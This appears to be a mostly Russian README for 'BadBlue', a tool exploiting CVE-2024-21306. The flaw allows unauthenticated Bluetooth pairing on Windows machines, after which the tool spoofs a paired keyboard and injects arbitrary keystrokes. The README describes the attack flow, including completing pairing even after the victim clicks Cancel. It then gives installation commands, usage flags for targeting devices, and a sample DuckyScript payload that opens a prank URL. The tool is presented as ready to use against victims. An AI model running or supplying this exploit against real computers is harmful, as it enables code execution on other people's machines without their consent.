
CVE-2024-21306 BadBlue implementation (Using DuckyScript)
CVE-2024-21306 Реализация BadBlue (с использованием DuckyScript)
Неаутентифицированное пирингование, приводящее к выполнению кода (с использованием клавиатуры HID)
Это реализация CVE, обнаруженного marcnewlin
BadBlue — это мощный инструмент для эксплуатации уязвимости в Bluetooth-устройствах. Запустив этот скрипт, вы можете:
Я успешно запускал это на любом Raspberry Pi 4 и VirtualBox с использованием Bluetooth-модуля CSR 4.0, ORICO 4.0 и т.д. Он работает против различных Windows с версией ниже .3007. Компьютер Windows должен быть сопряжен с Bluetooth-клавиатурой, и клавиатура должна быть выключена (или находиться вне зоны действия).
Злоумышленник, используя компьютер с Ubuntu (Kali может работать, но не рекомендуется) и Bluetooth-адаптер на базе Broadcom (CSR 4.0, возможно, может работать), подменяет адрес целевой клавиатуры и подключается к L2CAP 17 на компьютере Windows, указывая возможность SSP-сопряжения NoInputNoOutput.
Жертва увидит уведомление с текстом Add a device Tap to set up your <Keyboard Name>.
Если они проигнорируют уведомление, ничего не произойдет.
Если они нажмут на уведомление, им будет показан диалог запроса сопряжения Bluetooth.
Если у жертвы открыт интерфейс Add a Bluetooth device, они не увидят уведомление, а вместо этого сразу увидят запрос на сопряжение в виде модального диалога.
Злоумышленник может завершить сопряжение после закрытия диалога запроса сопряжения, даже если пользователь нажал Cancel или X. После завершения сопряжения злоумышленник подключается к L2CAP 17 (HID Control).
Затем злоумышленник может подключиться к L2CAP 19 (HID Interrupt) и внедрять произвольные нажатия клавиш.
# update apt
sudo apt-get update && sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump git \
python3-pip python3-setuptools \
libbluetooth-dev dbus-x11
# configure bluetoothd to run in compatibility mode to support sdptool
sudo sed -i "s|ExecStart=/usr/lib/bluetooth/bluetoothd|ExecStart=/usr/lib/bluetooth/bluetoothd --compat|g" /lib/systemd/system/bluetooth.service
sudo systemctl daemon-reload
sudo systemctl restart bluetooth
# install pybluez
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
python3 -m pip install pydbus
# build bdaddr from bluez
cd ~
git clone https://github.com/bluez/bluez.git
cd bluez
gcc -o bdaddr tools/bdaddr.c src/oui.c -lbluetooth -I.
sudo cp bdaddr /usr/local/bin/
# clone this repository
git clone https://github.com/PhucHauDeveloper/BadBlue.git
cd BadBlue
python3 BadBlue.py
./BadBlue.py -i <Interface> -k <Keyboard-Address> -c <Windows-Address>Cancel или Approve)-k — это клавиатура (по умолчанию моя клавиатура F4:73:35:7A:4B:BB, вам нужно изменить это)
-i — интерфейс (по умолчанию hci0)
-c — целевые устройства Windows (оставьте пустым, инструмент автоматически просканирует для вас)
В разработке:
Возможно, при первом использовании отсутствует readchar, используйте следующую команду:
pip install readchar
Этот инструмент должен запускаться в графической среде, CLI может вызвать ошибку dbus-launch, если вы знаете, как это исправить, свяжитесь со мной.
REM Title of the payload
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<.>/?
GUI D
REM Opens RickRoll
DELAY 200
GUI r
DELAY 200
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
DELAY 300
ENTER
DELAY 300